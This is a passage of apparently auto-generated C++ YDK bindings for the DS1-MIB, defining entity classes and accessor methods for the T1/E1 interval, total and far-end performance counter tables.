{}; if (dsx1intervalindex.is_set || is_set(dsx1intervalindex.yfilter)) leaf_name_data.push_back(dsx1intervalindex.get_name_leafdata()); if (dsx1intervalnumber.is_set || is_set(dsx1intervalnumber.yfilter)) leaf_name_data.push_back(dsx1intervalnumber.get_name_leafdata()); if (dsx1intervaless.is_set || is_set(dsx1intervaless.yfilter)) leaf_name_data.push_back(dsx1intervaless.get_name_leafdata()); if (dsx1intervalsess.is_set || is_set(dsx1intervalsess.yfilter)) leaf_name_data.push_back(dsx1intervalsess.get_name_leafdata()); if (dsx1intervalsefss.is_set || is_set(dsx1intervalsefss.yfilter)) leaf_name_data.push_back(dsx1intervalsefss.get_name_leafdata()); if (dsx1intervaluass.is_set || is_set(dsx1intervaluass.yfilter)) leaf_name_data.push_back(dsx1intervaluass.get_name_leafdata()); if (dsx1intervalcsss.is_set || is_set(dsx1intervalcsss.yfilter)) leaf_name_data.push_back(dsx1intervalcsss.get_name_leafdata()); if (dsx1intervalpcvs.is_set || is_set(dsx1intervalpcvs.yfilter)) leaf_name_data.push_back(dsx1intervalpcvs.get_name_leafdata()); if (dsx1intervalless.is_set || is_set(dsx1intervalless.yfilter)) leaf_name_data.push_back(dsx1intervalless.get_name_leafdata()); if (dsx1intervalbess.is_set || is_set(dsx1intervalbess.yfilter)) leaf_name_data.push_back(dsx1intervalbess.get_name_leafdata()); if (dsx1intervaldms.is_set || is_set(dsx1intervaldms.yfilter)) leaf_name_data.push_back(dsx1intervaldms.get_name_leafdata()); if (dsx1intervallcvs.is_set || is_set(dsx1intervallcvs.yfilter)) leaf_name_data.push_back(dsx1intervallcvs.get_name_leafdata()); if (dsx1intervalvaliddata.is_set || is_set(dsx1intervalvaliddata.yfilter)) leaf_name_data.push_back(dsx1intervalvaliddata.get_name_leafdata()); return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; return _children; } void DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { if(value_path == "dsx1IntervalIndex") { dsx1intervalindex = value; dsx1intervalindex.value_namespace = name_space; dsx1intervalindex.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalNumber") { dsx1intervalnumber = value; dsx1intervalnumber.value_namespace = name_space; dsx1intervalnumber.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalESs") { dsx1intervaless = value; dsx1intervaless.value_namespace = name_space; dsx1intervaless.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalSESs") { dsx1intervalsess = value; dsx1intervalsess.value_namespace = name_space; dsx1intervalsess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalSEFSs") { dsx1intervalsefss = value; dsx1intervalsefss.value_namespace = name_space; dsx1intervalsefss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalUASs") { dsx1intervaluass = value; dsx1intervaluass.value_namespace = name_space; dsx1intervaluass.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalCSSs") { dsx1intervalcsss = value; dsx1intervalcsss.value_namespace = name_space; dsx1intervalcsss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalPCVs") { dsx1intervalpcvs = value; dsx1intervalpcvs.value_namespace = name_space; dsx1intervalpcvs.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalLESs") { dsx1intervalless = value; dsx1intervalless.value_namespace = name_space; dsx1intervalless.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalBESs") { dsx1intervalbess = value; dsx1intervalbess.value_namespace = name_space; dsx1intervalbess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalDMs") { dsx1intervaldms = value; dsx1intervaldms.value_namespace = name_space; dsx1intervaldms.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalLCVs") { dsx1intervallcvs = value; dsx1intervallcvs.value_namespace = name_space; dsx1intervallcvs.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IntervalValidData") { dsx1intervalvaliddata = value; dsx1intervalvaliddata.value_namespace = name_space; dsx1intervalvaliddata.value_namespace_prefix = name_space_prefix; } } void DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::set_filter(const std::string & value_path, YFilter yfilter) { if(value_path == "dsx1IntervalIndex") { dsx1intervalindex.yfilter = yfilter; } if(value_path == "dsx1IntervalNumber") { dsx1intervalnumber.yfilter = yfilter; } if(value_path == "dsx1IntervalESs") { dsx1intervaless.yfilter = yfilter; } if(value_path == "dsx1IntervalSESs") { dsx1intervalsess.yfilter = yfilter; } if(value_path == "dsx1IntervalSEFSs") { dsx1intervalsefss.yfilter = yfilter; } if(value_path == "dsx1IntervalUASs") { dsx1intervaluass.yfilter = yfilter; } if(value_path == "dsx1IntervalCSSs") { dsx1intervalcsss.yfilter = yfilter; } if(value_path == "dsx1IntervalPCVs") { dsx1intervalpcvs.yfilter = yfilter; } if(value_path == "dsx1IntervalLESs") { dsx1intervalless.yfilter = yfilter; } if(value_path == "dsx1IntervalBESs") { dsx1intervalbess.yfilter = yfilter; } if(value_path == "dsx1IntervalDMs") { dsx1intervaldms.yfilter = yfilter; } if(value_path == "dsx1IntervalLCVs") { dsx1intervallcvs.yfilter = yfilter; } if(value_path == "dsx1IntervalValidData") { dsx1intervalvaliddata.yfilter = yfilter; } } bool DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1IntervalIndex" || name == "dsx1IntervalNumber" || name == "dsx1IntervalESs" || name == "dsx1IntervalSESs" || name == "dsx1IntervalSEFSs" || name == "dsx1IntervalUASs" || name == "dsx1IntervalCSSs" || name == "dsx1IntervalPCVs" || name == "dsx1IntervalLESs" || name == "dsx1IntervalBESs" || name == "dsx1IntervalDMs" || name == "dsx1IntervalLCVs" || name == "dsx1IntervalValidData") return true; return false; } DS1MIB::Dsx1TotalTable::Dsx1TotalTable() : dsx1totalentry(this, {"dsx1totalindex"}) { yang_name = "dsx1TotalTable"; yang_parent_name = "DS1-MIB"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1TotalTable::~Dsx1TotalTable() { } bool DS1MIB::Dsx1TotalTable::has_data() const { if (is_presence_container) return true; for (std::size_t index=0; index<dsx1totalentry.len(); index++) { if(dsx1totalentry[index]->has_data()) return true; } return false; } bool DS1MIB::Dsx1TotalTable::has_operation() const { for (std::size_t index=0; index<dsx1totalentry.len(); index++) { if(dsx1totalentry[index]->has_operation()) return true; } return is_set(yfilter); } std::string DS1MIB::Dsx1TotalTable::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1TotalTable::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1TotalTable"; return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1TotalTable::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1TotalTable::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { if(child_yang_name == "dsx1TotalEntry") { auto ent_ = std::make_shared<DS1MIB::Dsx1TotalTable::Dsx1TotalEntry>(); ent_->parent = this; dsx1totalentry.append(ent_); return ent_; } return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1TotalTable::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; count_ = 0; for (auto ent_ : dsx1totalentry.entities()) { if(_children.find(ent_->get_segment_path()) == _children.end()) _children[ent_->get_segment_path()] = ent_; else _children[ent_->get_segment_path()+count_++] = ent_; } return _children; } void DS1MIB::Dsx1TotalTable::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { } void DS1MIB::Dsx1TotalTable::set_filter(const std::string & value_path, YFilter yfilter) { } bool DS1MIB::Dsx1TotalTable::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1TotalEntry") return true; return false; } DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::Dsx1TotalEntry() : dsx1totalindex{YType::int32, "dsx1TotalIndex"}, dsx1totaless{YType::uint32, "dsx1TotalESs"}, dsx1totalsess{YType::uint32, "dsx1TotalSESs"}, dsx1totalsefss{YType::uint32, "dsx1TotalSEFSs"}, dsx1totaluass{YType::uint32, "dsx1TotalUASs"}, dsx1totalcsss{YType::uint32, "dsx1TotalCSSs"}, dsx1totalpcvs{YType::uint32, "dsx1TotalPCVs"}, dsx1totalless{YType::uint32, "dsx1TotalLESs"}, dsx1totalbess{YType::uint32, "dsx1TotalBESs"}, dsx1totaldms{YType::uint32, "dsx1TotalDMs"}, dsx1totallcvs{YType::uint32, "dsx1TotalLCVs"} { yang_name = "dsx1TotalEntry"; yang_parent_name = "dsx1TotalTable"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::~Dsx1TotalEntry() { } bool DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::has_data() const { if (is_presence_container) return true; return dsx1totalindex.is_set || dsx1totaless.is_set || dsx1totalsess.is_set || dsx1totalsefss.is_set || dsx1totaluass.is_set || dsx1totalcsss.is_set || dsx1totalpcvs.is_set || dsx1totalless.is_set || dsx1totalbess.is_set || dsx1totaldms.is_set || dsx1totallcvs.is_set; } bool DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::has_operation() const { return is_set(yfilter) || ydk::is_set(dsx1totalindex.yfilter) || ydk::is_set(dsx1totaless.yfilter) || ydk::is_set(dsx1totalsess.yfilter) || ydk::is_set(dsx1totalsefss.yfilter) || ydk::is_set(dsx1totaluass.yfilter) || ydk::is_set(dsx1totalcsss.yfilter) || ydk::is_set(dsx1totalpcvs.yfilter) || ydk::is_set(dsx1totalless.yfilter) || ydk::is_set(dsx1totalbess.yfilter) || ydk::is_set(dsx1totaldms.yfilter) || ydk::is_set(dsx1totallcvs.yfilter); } std::string DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/dsx1TotalTable/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1TotalEntry"; ADD_KEY_TOKEN(dsx1totalindex, "dsx1TotalIndex"); return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; if (dsx1totalindex.is_set || is_set(dsx1totalindex.yfilter)) leaf_name_data.push_back(dsx1totalindex.get_name_leafdata()); if (dsx1totaless.is_set || is_set(dsx1totaless.yfilter)) leaf_name_data.push_back(dsx1totaless.get_name_leafdata()); if (dsx1totalsess.is_set || is_set(dsx1totalsess.yfilter)) leaf_name_data.push_back(dsx1totalsess.get_name_leafdata()); if (dsx1totalsefss.is_set || is_set(dsx1totalsefss.yfilter)) leaf_name_data.push_back(dsx1totalsefss.get_name_leafdata()); if (dsx1totaluass.is_set || is_set(dsx1totaluass.yfilter)) leaf_name_data.push_back(dsx1totaluass.get_name_leafdata()); if (dsx1totalcsss.is_set || is_set(dsx1totalcsss.yfilter)) leaf_name_data.push_back(dsx1totalcsss.get_name_leafdata()); if (dsx1totalpcvs.is_set || is_set(dsx1totalpcvs.yfilter)) leaf_name_data.push_back(dsx1totalpcvs.get_name_leafdata()); if (dsx1totalless.is_set || is_set(dsx1totalless.yfilter)) leaf_name_data.push_back(dsx1totalless.get_name_leafdata()); if (dsx1totalbess.is_set || is_set(dsx1totalbess.yfilter)) leaf_name_data.push_back(dsx1totalbess.get_name_leafdata()); if (dsx1totaldms.is_set || is_set(dsx1totaldms.yfilter)) leaf_name_data.push_back(dsx1totaldms.get_name_leafdata()); if (dsx1totallcvs.is_set || is_set(dsx1totallcvs.yfilter)) leaf_name_data.push_back(dsx1totallcvs.get_name_leafdata()); return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; return _children; } void DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { if(value_path == "dsx1TotalIndex") { dsx1totalindex = value; dsx1totalindex.value_namespace = name_space; dsx1totalindex.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TotalESs") { dsx1totaless = value; dsx1totaless.value_namespace = name_space; dsx1totaless.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TotalSESs") { dsx1totalsess = value; dsx1totalsess.value_namespace = name_space; dsx1totalsess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TotalSEFSs") { dsx1totalsefss = value; dsx1totalsefss.value_namespace = name_space; dsx1totalsefss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TotalUASs") { dsx1totaluass = value; dsx1totaluass.value_namespace = name_space; dsx1totaluass.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TotalCSSs") { dsx1totalcsss = value; dsx1totalcsss.value_namespace = name_space; dsx1totalcsss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TotalPCVs") { dsx1totalpcvs = value; dsx1totalpcvs.value_namespace = name_space; dsx1totalpcvs.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TotalLESs") { dsx1totalless = value; dsx1totalless.value_namespace = name_space; dsx1totalless.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TotalBESs") { dsx1totalbess = value; dsx1totalbess.value_namespace = name_space; dsx1totalbess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TotalDMs") { dsx1totaldms = value; dsx1totaldms.value_namespace = name_space; dsx1totaldms.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TotalLCVs") { dsx1totallcvs = value; dsx1totallcvs.value_namespace = name_space; dsx1totallcvs.value_namespace_prefix = name_space_prefix; } } void DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::set_filter(const std::string & value_path, YFilter yfilter) { if(value_path == "dsx1TotalIndex") { dsx1totalindex.yfilter = yfilter; } if(value_path == "dsx1TotalESs") { dsx1totaless.yfilter = yfilter; } if(value_path == "dsx1TotalSESs") { dsx1totalsess.yfilter = yfilter; } if(value_path == "dsx1TotalSEFSs") { dsx1totalsefss.yfilter = yfilter; } if(value_path == "dsx1TotalUASs") { dsx1totaluass.yfilter = yfilter; } if(value_path == "dsx1TotalCSSs") { dsx1totalcsss.yfilter = yfilter; } if(value_path == "dsx1TotalPCVs") { dsx1totalpcvs.yfilter = yfilter; } if(value_path == "dsx1TotalLESs") { dsx1totalless.yfilter = yfilter; } if(value_path == "dsx1TotalBESs") { dsx1totalbess.yfilter = yfilter; } if(value_path == "dsx1TotalDMs") { dsx1totaldms.yfilter = yfilter; } if(value_path == "dsx1TotalLCVs") { dsx1totallcvs.yfilter = yfilter; } } bool DS1MIB::Dsx1TotalTable::Dsx1TotalEntry::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1TotalIndex" || name == "dsx1TotalESs" || name == "dsx1TotalSESs" || name == "dsx1TotalSEFSs" || name == "dsx1TotalUASs" || name == "dsx1TotalCSSs" || name == "dsx1TotalPCVs" || name == "dsx1TotalLESs" || name == "dsx1TotalBESs" || name == "dsx1TotalDMs" || name == "dsx1TotalLCVs") return true; return false; } DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentTable() : dsx1farendcurrententry(this, {"dsx1farendcurrentindex"}) { yang_name = "dsx1FarEndCurrentTable"; yang_parent_name = "DS1-MIB"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1FarEndCurrentTable::~Dsx1FarEndCurrentTable() { } bool DS1MIB::Dsx1FarEndCurrentTable::has_data() const { if (is_presence_container) return true; for (std::size_t index=0; index<dsx1farendcurrententry.len(); index++) { if(dsx1farendcurrententry[index]->has_data()) return true; } return false; } bool DS1MIB::Dsx1FarEndCurrentTable::has_operation() const { for (std::size_t index=0; index<dsx1farendcurrententry.len(); index++) { if(dsx1farendcurrententry[index]->has_operation()) return true; } return is_set(yfilter); } std::string DS1MIB::Dsx1FarEndCurrentTable::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1FarEndCurrentTable::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1FarEndCurrentTable"; return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1FarEndCurrentTable::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1FarEndCurrentTable::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { if(child_yang_name == "dsx1FarEndCurrentEntry") { auto ent_ = std::make_shared<DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry>(); ent_->parent = this; dsx1farendcurrententry.append(ent_); return ent_; } return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1FarEndCurrentTable::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; count_ = 0; for (auto ent_ : dsx1farendcurrententry.entities()) { if(_children.find(ent_->get_segment_path()) == _children.end()) _children[ent_->get_segment_path()] = ent_; else _children[ent_->get_segment_path()+count_++] = ent_; } return _children; } void DS1MIB::Dsx1FarEndCurrentTable::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { } void DS1MIB::Dsx1FarEndCurrentTable::set_filter(const std::string & value_path, YFilter yfilter) { } bool DS1MIB::Dsx1FarEndCurrentTable::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1FarEndCurrentEntry") return true; return false; } DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::Dsx1FarEndCurrentEntry() : dsx1farendcurrentindex{YType::int32, "dsx1FarEndCurrentIndex"}, dsx1farendtimeelapsed{YType::int32, "dsx1FarEndTimeElapsed"}, dsx1farendvalidintervals{YType::int32, "dsx1FarEndValidIntervals"}, dsx1farendcurrentess{YType::uint32, "dsx1FarEndCurrentESs"}, dsx1farendcurrentsess{YType::uint32, "dsx1FarEndCurrentSESs"}, dsx1farendcurrentsefss{YType::uint32, "dsx1FarEndCurrentSEFSs"}, dsx1farendcurrentuass{YType::uint32, "dsx1FarEndCurrentUASs"}, dsx1farendcurrentcsss{YType::uint32, "dsx1FarEndCurrentCSSs"}, dsx1farendcurrentless{YType::uint32, "dsx1FarEndCurrentLESs"}, dsx1farendcurrentpcvs{YType::uint32, "dsx1FarEndCurrentPCVs"}, dsx1farendcurrentbess{YType::uint32, "dsx1FarEndCurrentBESs"}, dsx1farendcurrentdms{YType::uint32, "dsx1FarEndCurrentDMs"}, dsx1farendinvalidintervals{YType::int32, "dsx1FarEndInvalidIntervals"} { yang_name = "dsx1FarEndCurrentEntry"; yang_parent_name = "dsx1FarEndCurrentTable"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::~Dsx1FarEndCurrentEntry() { } bool DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::has_data() const { if (is_presence_container) return true; return dsx1farendcurrentindex.is_set || dsx1farendtimeelapsed.is_set || dsx1farendvalidintervals.is_set || dsx1farendcurrentess.is_set || dsx1farendcurrentsess.is_set || dsx1farendcurrentsefss.is_set || dsx1farendcurrentuass.is_set || dsx1farendcurrentcsss.is_set || dsx1farendcurrentless.is_set || dsx1farendcurrentpcvs.is_set || dsx1farendcurrentbess.is_set || dsx1farendcurrentdms.is_set || dsx1farendinvalidintervals.is_set; } bool DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::has_operation() const { return is_set(yfilter) || ydk::is_set(dsx1farendcurrentindex.yfilter) || ydk::is_set(dsx1farendtimeelapsed.yfilter) || ydk::is_set(dsx1farendvalidintervals.yfilter) || ydk::is_set(dsx1farendcurrentess.yfilter) || ydk::is_set(dsx1farendcurrentsess.yfilter) || ydk::is_set(dsx1farendcurrentsefss.yfilter) || ydk::is_set(dsx1farendcurrentuass.yfilter) || ydk::is_set(dsx1farendcurrentcsss.yfilter) || ydk::is_set(dsx1farendcurrentless.yfilter) || ydk::is_set(dsx1farendcurrentpcvs.yfilter) || ydk::is_set(dsx1farendcurrentbess.yfilter) || ydk::is_set(dsx1farendcurrentdms.yfilter) || ydk::is_set(dsx1farendinvalidintervals.yfilter); } std::string DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/dsx1FarEndCurrentTable/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1FarEndCurrentEntry"; ADD_KEY_TOKEN(dsx1farendcurrentindex, "dsx1FarEndCurrentIndex"); return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; if (dsx1farendcurrentindex.is_set || is_set(dsx1farendcurrentindex.yfilter)) leaf_name_data.push_back(dsx1farendcurrentindex.get_name_leafdata()); if (dsx1farendtimeelapsed.is_set || is_set(dsx1farendtimeelapsed.yfilter)) leaf_name_data.push_back(dsx1farendtimeelapsed.get_name_leafdata()); if (dsx1farendvalidintervals.is_set || is_set(dsx1farendvalidintervals.yfilter)) leaf_name_data.push_back(dsx1farendvalidintervals.get_name_leafdata()); if (dsx1farendcurrentess.is_set || is_set(dsx1farendcurrentess.yfilter)) leaf_name_data.push_back(dsx1farendcurrentess.get_name_leafdata()); if (dsx1farendcurrentsess.is_set || is_set(dsx1farendcurrentsess.yfilter)) leaf_name_data.push_back(dsx1farendcurrentsess.get_name_leafdata()); if (dsx1farendcurrentsefss.is_set || is_set(dsx1farendcurrentsefss.yfilter)) leaf_name_data.push_back(dsx1farendcurrentsefss.get_name_leafdata()); if (dsx1farendcurrentuass.is_set || is_set(dsx1farendcurrentuass.yfilter)) leaf_name_data.push_back(dsx1farendcurrentuass.get_name_leafdata()); if (dsx1farendcurrentcsss.is_set || is_set(dsx1farendcurrentcsss.yfilter)) leaf_name_data.push_back(dsx1farendcurrentcsss.get_name_leafdata()); if (dsx1farendcurrentless.is_set || is_set(dsx1farendcurrentless.yfilter)) leaf_name_data.push_back(dsx1farendcurrentless.get_name_leafdata()); if (dsx1farendcurrentpcvs.is_set || is_set(dsx1farendcurrentpcvs.yfilter)) leaf_name_data.push_back(dsx1farendcurrentpcvs.get_name_leafdata()); if (dsx1farendcurrentbess.is_set || is_set(dsx1farendcurrentbess.yfilter)) leaf_name_data.push_back(dsx1farendcurrentbess.get_name_leafdata()); if (dsx1farendcurrentdms.is_set || is_set(dsx1farendcurrentdms.yfilter)) leaf_name_data.push_back(dsx1farendcurrentdms.get_name_leafdata()); if (dsx1farendinvalidintervals.is_set || is_set(dsx1farendinvalidintervals.yfilter)) leaf_name_data.push_back(dsx1farendinvalidintervals.get_name_leafdata()); return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; return _children; } void DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { if(value_path == "dsx1FarEndCurrentIndex") { dsx1farendcurrentindex = value; dsx1farendcurrentindex.value_namespace = name_space; dsx1farendcurrentindex.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndTimeElapsed") { dsx1farendtimeelapsed = value; dsx1farendtimeelapsed.value_namespace = name_space; dsx1farendtimeelapsed.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndValidIntervals") { dsx1farendvalidintervals = value; dsx1farendvalidintervals.value_namespace = name_space; dsx1farendvalidintervals.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndCurrentESs") { dsx1farendcurrentess = value; dsx1farendcurrentess.value_namespace = name_space; dsx1farendcurrentess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndCurrentSESs") { dsx1farendcurrentsess = value; dsx1farendcurrentsess.value_namespace = name_space; dsx1farendcurrentsess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndCurrentSEFSs") { dsx1farendcurrentsefss = value; dsx1farendcurrentsefss.value_namespace = name_space; dsx1farendcurrentsefss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndCurrentUASs") { dsx1farendcurrentuass = value; dsx1farendcurrentuass.value_namespace = name_space; dsx1farendcurrentuass.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndCurrentCSSs") { dsx1farendcurrentcsss = value; dsx1farendcurrentcsss.value_namespace = name_space; dsx1farendcurrentcsss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndCurrentLESs") { dsx1farendcurrentless = value; dsx1farendcurrentless.value_namespace = name_space; dsx1farendcurrentless.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndCurrentPCVs") { dsx1farendcurrentpcvs = value; dsx1farendcurrentpcvs.value_namespace = name_space; dsx1farendcurrentpcvs.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndCurrentBESs") { dsx1farendcurrentbess = value; dsx1farendcurrentbess.value_namespace = name_space; dsx1farendcurrentbess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndCurrentDMs") { dsx1farendcurrentdms = value; dsx1farendcurrentdms.value_namespace = name_space; dsx1farendcurrentdms.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1FarEndInvalidIntervals") { dsx1farendinvalidintervals = value; dsx1farendinvalidintervals.value_namespace = name_space; dsx1farendinvalidintervals.value_namespace_prefix = name_space_prefix; } } void DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::set_filter(const std::string & value_path, YFilter yfilter) { if(value_path == "dsx1FarEndCurrentIndex") { dsx1farendcurrentindex.yfilter = yfilter; } if(value_path == "dsx1FarEndTimeElapsed") { dsx1farendtimeelapsed.yfilter = yfilter; } if(value_path == "dsx1FarEndValidIntervals") { dsx1farendvalidintervals.yfilter = yfilter; } if(value_path == "dsx1FarEndCurrentESs") { dsx1farendcurrentess.yfilter = yfilter; } if(value_path == "dsx1FarEndCurrentSESs") { dsx1farendcurrentsess.yfilter = yfilter; } if(value_path == "dsx1FarEndCurrentSEFSs") { dsx1farendcurrentsefss.yfilter = yfilter; } if(value_path == "dsx1FarEndCurrentUASs") { dsx1farendcurrentuass.yfilter = yfilter; } if(value_path == "dsx1FarEndCurrentCSSs") { dsx1farendcurrentcsss.yfilter = yfilter; } if(value_path == "dsx1FarEndCurrentLESs") { dsx1farendcurrentless.yfilter = yfilter; } if(value_path == "dsx1FarEndCurrentPCVs") { dsx1farendcurrentpcvs.yfilter = yfilter; } if(value_path == "dsx1FarEndCurrentBESs") { dsx1farendcurrentbess.yfilter = yfilter; } if(value_path == "dsx1FarEndCurrentDMs") { dsx1farendcurrentdms.yfilter = yfilter; } if(value_path == "dsx1FarEndInvalidIntervals") { dsx1farendinvalidintervals.yfilter = yfilter; } } bool DS1MIB::Dsx1FarEndCurrentTable::Dsx1FarEndCurrentEntry::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1FarEndCurrentIndex" || name == "dsx1FarEndTimeElapsed" || name == "dsx1FarEndValidIntervals" || name == "dsx1FarEndCurrentESs" || name == "dsx1FarEndCurrentSESs" || name == "dsx1FarEndCurrentSEFSs" || name == "dsx1FarEndCurrentUASs" || name == "dsx1FarEndCurrentCSSs" || name == "dsx1FarEndCurrentLESs" || name == "dsx1FarEndCurrentPCVs" || name == "dsx1FarEndCurrentBESs" || name == "dsx1FarEndCurrentDMs" || name == "dsx1FarEndInvalidIntervals") return true; return false; } DS1MIB::Dsx1FarEndIntervalTable::Dsx1FarEndIntervalTable() : dsx1farendintervalentry(this, {"dsx1farendintervalindex", "dsx1farendintervalnumber"}) { yang_name = "dsx1FarEndIntervalTable"; yang_parent_name = "DS1-MIB"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1FarEndIntervalTable::~Dsx1FarEndIntervalTable() { } bool DS1MIB::Dsx1FarEndIntervalTable::has_data() const { if (is_presence_container) return true; for (std::size_t index=0; 